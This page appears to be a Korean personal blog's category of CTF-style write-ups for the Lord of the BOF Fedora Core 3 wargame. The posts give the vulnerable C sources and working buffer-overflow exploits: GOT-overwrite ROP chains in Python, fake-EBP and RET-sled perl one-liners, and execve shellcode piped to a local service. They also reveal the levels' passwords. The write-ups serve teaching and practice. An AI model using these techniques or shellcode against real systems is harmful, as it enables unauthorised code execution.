'Wargame/LOB (Fedora3)'에 해당되는 글 5건

  1. 2014.02.24 evil_wizard ->dark_stone
  2. 2014.02.20 hell_fire -> evil_wizard
  3. 2014.02.20 dark_eyes -> hell_fire 1
  4. 2014.02.20 iron_golem -> dark_eyes
  5. 2014.02.20 gate -> iron_golem

문제의 소스입니다.

 

[evil_wizard@Fedora_1stFloor tmp]$ cat ../dark_stone.c
/*
 The Lord of the BOF : The Fellowship of the BOF
 - dark_stone
 - Remote BOF on Fedora Core 3
 - hint : GOT overwriting again
 - port : TCP 8888
*/

#include <stdio.h>

// magic potion for you
void pop_pop_ret(void)
{
 asm("pop %eax");
 asm("pop %eax");
 asm("ret");
}
 
int main()
{
 char buffer[256];
 char saved_sfp[4];
 int length;
 char temp[1024];

 printf("dark_stone : how fresh meat you are!\n");
 printf("you : ");
 fflush(stdout);

 // give me a food
 fgets(temp, 1024, stdin);

 // for disturbance RET sleding
 length = strlen(temp);
  
 // save sfp
 memcpy(saved_sfp, buffer+264, 4);
 
 // overflow!!
 strcpy(buffer, temp);

 // restore sfp
 memcpy(buffer+264, saved_sfp, 4);

        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

 // buffer cleaning
 memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);

 printf("%s\n", buffer);
}

 

저번 문제와 똑같은 문제지만 저번 문제와 이번문제의 차이는 저번 문제는 local 환경이었고, 이번 문제는 remote환경 이라는 것입니다.

 

문제 - 4 : http://windowhan.tistory.com/entry/hellfire-evilwizard (저번 문제와 똑같이 풀었습니다.)

 

제가 쓴 소스입니다.

 

[evil_wizard@Fedora_1stFloor tmp]$ cat ex.py
#!/usr/bin/python
from struct import pack
import os

printf_plt = 0x08048408
printf_got = 0x0804984c
strcpy_plt = 0x08048438

garget1 = 0x08048484 #0xc0
garget2 = 0x0804838c #0x07
garget3 = 0x080482b4 #0x75
garget4 = 0x0804982c #0x00

b_garget1 = 0x0804872d #h
b_garget2 = 0x08048287 #s
b_garget3 = 0x08048114 #/
b_garget4 = 0x08048720 #n
b_garget5 = 0x0804811d #i
b_garget6 = 0x08048117 #b
b_garget7 = 0x08048114 #/
b_garget8 = 0x0804982c #\x00

func_stack = 0x08049874 #system function address
binsh_stack = 0x8049980 #/bin/sh address
final_binsh_stack = 0x08049ad0
ppr = 0x080484f3 #pop;pop;ret
binsh = 0x00833603 #"/bin/sh"

p = lambda x : pack("<L",x)

payload = ""
payload += "\x90"*268
payload += p(strcpy_plt) + p(ppr) + p(func_stack+0) + p(garget1)
payload += p(strcpy_plt) + p(ppr) + p(func_stack+1) + p(garget2)
payload += p(strcpy_plt) + p(ppr) + p(func_stack+2) + p(garget3)
payload += p(strcpy_plt) + p(ppr) + p(func_stack+3) + p(garget4)
#payload += p(strcpy_plt) + p(ppr) + p(func_stack+4) + p(b_garget8)
#payload += p(strcpy_plt) + p(ppr) + p(func_stack+5) + p(b_garget8)
#payload += p(strcpy_plt) + p(ppr) + p(func_stack+6) + p(b_garget8)
#payload += p(strcpy_plt) + p(ppr) + p(func_stack+7) + p(b_garget8)
payload += p(strcpy_plt) + p(ppr) + p(printf_got) + p(func_stack)

payload += p(printf_plt) + "\x90"*4 + p(binsh)

print payload

 

 

=========================================================================

 

[evil_wizard@Fedora_1stFloor tmp]$ (python ex.py;cat)|nc localhost 8888
dark_stone : how fresh meat you are!
you :
id
uid=505(dark_stone) gid=505(dark_stone) context=user_u:system_r:unconfined_t
my-ps^Hass
/bin/sh: line 3: my-pass: command not found
my-pass
euid = 505
let there be light

 

==========================================================================

 

[dark_stone@Fedora_1stFloor ~]$ ls
dropped_item.txt
[dark_stone@Fedora_1stFloor ~]$ cat dropped_item.txt
                   ,.
                 ,'  `.
               ,' _<>_ `.
             ,'.-'____`-.`.
           ,'_.-''    ``-._`.
         ,','      /\      `.`.
       ,' /.._  O /  \ O  _.,\ `.
     ,'/ /  \ ``-;.--.:-'' /  \ \`.
   ,' : :    \  /\`.,'/\  /    : : `.
  < <>| |   O >(< (  ) >)< O   | |<> >
   `. : :    /  \/,'`.\/  \    ; ; ,'
     `.\ \  /_..-:`--';-.._\  / /,'
       `. \`'   O \  / O   `'/ ,'
         `.`._     \/     _,','
           `..``-.____.-'',,'
             `.`-.____.-','
               `.  <>  ,'
                 `.  ,'
                   `'

 

==================================================================

07을 찾아야했는데 00을 찾아서 넣어주고 있었네요...

원래 system 함수의 주소는 0x7507c0 인데 0x7500c0으로 넣어서 엉뚱한곳을 실행시키고있었다는..하하..-_-;;

 

보스몹이 쥐고있던 아이템을 획득했습니다 ㅋㅋ

 

 

'Wargame > LOB (Fedora3)' 카테고리의 다른 글

hell_fire -> evil_wizard  (0) 2014.02.20
dark_eyes -> hell_fire  (1) 2014.02.20
iron_golem -> dark_eyes  (0) 2014.02.20
gate -> iron_golem  (0) 2014.02.20
Posted by windowhan
,


문제의 소스입니다.

[hell_fire@Fedora_1stFloor tmp]$ cat ../evil_wizard.c
/*
The Lord of the BOF : The Fellowship of the BOF 
- evil_wizard
- Local BOF on Fedora Core 3 
- hint : GOT overwriting
*/

// magic potion for you
void pop_pop_ret(void)
{
asm("pop %eax");
asm("pop %eax");
asm("ret");
}
 
int main(int argc, char *argv[])
{
char buffer[256];
char saved_sfp[4];
int length; 

if(argc < 2){
printf("argv error\n");
exit(0);
}

// for disturbance RET sleding
length = strlen(argv[1]);
   
        // healing potion for you
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());

// save sfp 
memcpy(saved_sfp, buffer+264, 4);
 
// overflow!!
strcpy(buffer, argv[1]);

// restore sfp 
memcpy(buffer+264, saved_sfp, 4);

        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

printf("%s\n", buffer);
}

여기서 살펴보아야 할 것을 꼽하보자면
 - sfp를 복구해주고있음
 - RET sleding을 방지하기 위해서 내가 입력해준 부분을 제외한 스택의 모든 부분을 0으로 초기화 하고있음.

Fedora Core 3에는 바이너리 내에 chaining rtl을 하는데 중요한 pop pop ret이 없기 때문에 inline assembly를 이용해서 임의로 넣어줬습니다.

힌트에는 GOT Overwrite를 이용하라고 했으니 strcpy@plt를 이용해서 덮어 씌워보겠습니다.
저는 printf의 GOT를 system함수의 주소로 덮어씌워보려고합니다.

페이로드를 짜보자면
[buffer + dummy (268bytes)] [strcpy@plt][pop;pop;ret][printf@got][first_garget][strcpy@plt][pop;pop;ret][printf@got+1][second_garget][strcpy@plt][pop;pop;ret][printf@got+2][third_garget][strcpy@plt][pop;pop;ret][printf@got+3][fourth_garget][printf@plt][dummy(4bytes)][/bin/sh]

printf의 GOT (총 4bytes)를 1byte씩 system함수의 주소로 덮었습니다.

그리고 pop;pop;ret 에 대해서 간단하게 설명하자면, 

첫번째 pop이 진행되면 esp가 4바이트가 증가하면서 esp가 첫번째 인자를 가리키게 되고 
두번째 pop이 진행되면 또 esp가 4바이트가 증가하면서 esp가 두번째 인자를 가리키게 됩니다.

세번째 ret은 pop %eip(물론 이런 명령어는 존재하지않습니다)와 같은 역할을 합니다. esp가 4바이트 증가한 후에, esp는 두번째 함수를 가리키고 있을 때, esp가 가리키고 있는 데이터를 eip에 집어넣습니다. 
그러고나서 다음 자리에 있는 pop;pop;ret을 가리키게 됩니다.


제가 쓴 소스입니다.
#!/usr/bin/python
from struct import pack
import os

printf_plt = 0x08048424
printf_got = 0x08049884 #0x08049884 , 0x08048429
strcpy_plt = 0x08048494

#garget = system_addr
first_garget_byte = 0x08048524+8 # 0x90
second_garget_byte = 0x08048148+12 # 0x54
third_garget_byte = 0x080486f4+6 # 0x7d
fourth_garget_byte = 0x08048149 # 0x00

ppr = 0x0804854f # pop;pop;ret
shell = 0x00833603 # "/bin/sh"

p = lambda x : pack("<L",x)

payload = ""
payload += "\x90"*268
payload += p(strcpy_plt) + p(ppr) + p(printf_got) + p(first_garget_byte)
payload += p(strcpy_plt) + p(ppr) + p(printf_got+1) + p(second_garget_byte)
payload += p(strcpy_plt) + p(ppr) + p(printf_got+2) + p(third_garget_byte)
payload += p(strcpy_plt) + p(ppr) + p(printf_got+3) + p(fourth_garget_byte)
payload += p(printf_plt) + "\x90"*4 + p(shell)

===================================================================

[hell_fire@Fedora_1stFloor ~]$ ./evil_wizard `python -c "print '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x94\x84\x04\x08O\x85\x04\x08\x84\x98\x04\x08,
\x85\x04\x08\x94\x84\x04\x08O\x85\x04\x08\x85\x98\x04
\x08T\x81\x04\x08\x94\x84\x04\x08O\x85\x04\x08\x86\x98
\x04\x08\xfa\x86\x04\x08\x94\x84\x04\x08O\x85\x04\x08
\x87\x98\x04\x08I\x81\x04\x08$\x84\x04\x08\x90\x90\x90\x90\x036\x83\x00'"`
?????????????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????????????????
??????????????????????????????????????????????0萃??O???,???O???T???O??????O???I?$????? 6?
sh-3.00$ id
uid=504(evil_wizard) gid=504(evil_wizard) groups=503(hell_fire) context=user_u:system_r:unconfined_t
sh-3.00$ my-pass
euid = 504
get down like that
sh-3.00$ 


'Wargame > LOB (Fedora3)' 카테고리의 다른 글

evil_wizard ->dark_stone  (0) 2014.02.24
dark_eyes -> hell_fire  (1) 2014.02.20
iron_golem -> dark_eyes  (0) 2014.02.20
gate -> iron_golem  (0) 2014.02.20
Posted by windowhan
,

문제의 소스입니다.

[dark_eyes@Fedora_1stFloor ~]$ cat hell_fire.c
/*
The Lord of the BOF : The Fellowship of the BOF 
- hell_fire
- Remote BOF on Fedora Core 3 
- hint : another fake ebp or got overwriting 
- port : TCP 7777
*/

#include <stdio.h>

int main()
{
char buffer[256];
char saved_sfp[4];
char temp[1024];
  
printf("hell_fire : What's this smell?\n");
printf("you : ");
fflush(stdout);

// give me a food
fgets(temp, 1024, stdin);
   
// save sfp 
memcpy(saved_sfp, buffer+264, 4);
 
// overflow!!
strcpy(buffer, temp);

// restore sfp 
memcpy(buffer+264, saved_sfp, 4);

printf("%s\n", buffer);
}

프로그램이 동작하는 과정을 차례로 정리해보자면,

1) fgets로 temp에 입력값을 받음.
2) memcpy로 sfp를 백업해둠.
3) strcpy로 temp를 buffer로 복사
4) memcpy로 sfp를 복구.

이렇게 정리 할 수 있습니다.

방법 1)
힌트를 보면 hint : another fake ebp or got overwriting 라고 적혀있는데요 저는 fake ebp를 이용해서 풀어보았습니다.

fake ebp를 쓰기 위해서는 ebp를 먼저 덮어씌워야하는데 문제에서는 sfp를 복구시키고 있습니다.
그렇다면, main함수의 ebp를 조작할 것이아니라 main함수가 종료되면 복귀하는 __libc_start_main함수의 ebp를 조작하면 됩니다.

먼저 페이로드는 다음과 같습니다.

[buffer + dummy (268bytes)] [leaveret(4bytes)] [dummy(88bytes)][fake ebp(4bytes)(mprotect를 가리킨다)] [leaveret(4bytes)] [mprotect] [쉘코드 위치(4bytes)] [인자1] [인자2] [인자3] [쉘코드]

이 페이로드가 진행되는 상황을 정리해보겠습니다
1) ret인데 eip가 leave의 주소를 가리키고 있으므로, leave의 주소로 리턴됬음. (이때 main함수를 탈출해서 __libc_start_main함수로 돌아왔음.)
2) 첫번째 leave가 진행되면서 pop %ebp 때문에 결국 fake ebp를 ebp로 세팅함.
3) 첫번째 ret이 진행되면서 pop %eip로 인해 eip는 두번째 leave의 주소를 가리키고 있음.
4) 두번째 leave가 진행되면서 fake ebp가 mov %ebp,%esp 로 인해서 esp는 fake ebp가 가리키고 있는 값을 가리키고 있음.
5) 두번째 ret이 진행되면서 pop %eip로 인해서 eip는 fake ebp가 가리키고 있는 mprotect부분으로 세팅된다.
6) mprotect을 쓴다. (여기서 mprotect이 사용되는 이유는 stdin이 rw권한만 가지고있고 x권한을 가지고 있지 않기 때문이다. 때문에, 여기서 x(exec)권한을 부여해준다. 여기서 많이 삽질을 했었다.)
7) 쉘코드 위치로 이동해서 쉘코드를 이동시킨다.

[dark_eyes@Fedora_1stFloor ~]$ (perl -e 'print "a"x268,"\x61\x85\x04\x08","s"x88,"\x6c\xe1\xff\xf6","\x61\x85\x04\x08","\x70\x46\x71\x00","\x58\xe2\xff\xf6", "\x00\xe0\xff\xf6", "\x00\x08\x00\x00", "\x07\x00\x00\x00", "\x90"x500, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"';cat)|nc localhost 7777
hell_fire : What's this smell?
you : 
id
uid=503(hell_fire) gid=503(hell_fire) context=user_u:system_r:unconfined_t
my-pass
euid = 503
sign me up


'Wargame > LOB (Fedora3)' 카테고리의 다른 글

evil_wizard ->dark_stone  (0) 2014.02.24
hell_fire -> evil_wizard  (0) 2014.02.20
iron_golem -> dark_eyes  (0) 2014.02.20
gate -> iron_golem  (0) 2014.02.20
Posted by windowhan
,
[iron_golem@Fedora_1stFloor tmp]$ cat ../dark_eyes.c
/*
     The Lord of the BOF : The Fellowship of the BOF
     - dark_eyes
     - Local BOF on Fedora Core 3
     - hint : RET sleding
*/

int main(int argc, char *argv[])
{
     char buffer[256];
     char saved_sfp[4];
   
     if(argc < 2){
          printf("argv error\n");
          exit(0);
     }
  
     // save sfp
     memcpy(saved_sfp, buffer+264, 4);

     // overflow!!
     strcpy(buffer, argv[1]);

     // restore sfp
     memcpy(buffer+264, saved_sfp, 4);

     printf("%s\n", buffer);
}


RET Sleding을 하라고 한다.
RET을 여러번 실행시킴으로써, esp와 ebp를 끌어올릴 수 있다.
(RET을 여러번 함으로써 esp를 끌어올리고 새로운 함수로 진입한 뒤, mov %esp,%ebp(esp -> ebp)를 해주기 떄문)

Fedora Core 3에서는 EBP를 기준으로 인자 참조를 한다.

execl의 주소는 0x7a5720 이다.
페이로드의 양쪽을 더블 쿼터로 묶지 않았을 때는 Segmentation Fault가 발생했다.
내가 알기로는 strcpy는 \x20에 영향을 받지않는 것으로 알고있었지만 양쪽을 더블쿼터로 묶는 순간 execl이 정상적으로 실행 됬다...;;

""과 NULL은 다른듯하다.
execve

[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes "`perl -e 'print "a"x268,"\xb9\x84\x04\x08"x3,"\x20\x57\x7a\x00"'`"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?燎?퉬퉬 Wz
sh-3.00$ id
uid=502(dark_eyes) gid=502(dark_eyes) groups=501(iron_golem) context=user_u:system_r:unconfined_t
sh-3.00$because of you 


'Wargame > LOB (Fedora3)' 카테고리의 다른 글

evil_wizard ->dark_stone  (0) 2014.02.24
hell_fire -> evil_wizard  (0) 2014.02.20
dark_eyes -> hell_fire  (1) 2014.02.20
gate -> iron_golem  (0) 2014.02.20
Posted by windowhan
,
Fedora Core3이라 Ascii-Armor이 적용 되서, 인자를 주기가 매우 어려워졌다.
그래서, Fake EBP기법이나 RET을 이용해서 인자를 맞춰주기로 했다.

(gdb) p execl
$1 = {<text variable, no debug info>} 0x7a5720 <execl>

아스키아머가 적용된 execl함수의 주소다.

그런데 오현이형이 말씀해주신 바로는 

./iron_golem `perl -e 'print "a"x264,"\x10\x96\x04\x08","\x23\x57\x7a"'`

이런 식으로 페이로드를 짜면 안된다고 말씀해주셨다.
쉘을 띄우는 역할을 담당하는 shell.c를 만들어 놓고 컴파일 한 뒤, 페이로드 상에서 execl로 실행시켜주는 식이었다.

=====================================================

#include <stdio.h>

int main()
{
     setreuid(geteuid(),geteuid());
     setregid(getegid(),getegid());
     execl("/bin/sh","sh",0);
}

[gate@Fedora_1stFloor ~]$ ./iron_golem `perl -e 'print "a"x264,"\x10\x96\x04\x08","\x23\x57\x7a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?#Wz
sh-3.00$ id
uid=501(iron_golem) gid=501(iron_golem) groups=500(gate) context=user_u:system_r:unconfined_t
sh-3.00$ my-pass
euid = 501
blood on the fedora


'Wargame > LOB (Fedora3)' 카테고리의 다른 글

evil_wizard ->dark_stone  (0) 2014.02.24
hell_fire -> evil_wizard  (0) 2014.02.20
dark_eyes -> hell_fire  (1) 2014.02.20
iron_golem -> dark_eyes  (0) 2014.02.20
Posted by windowhan
,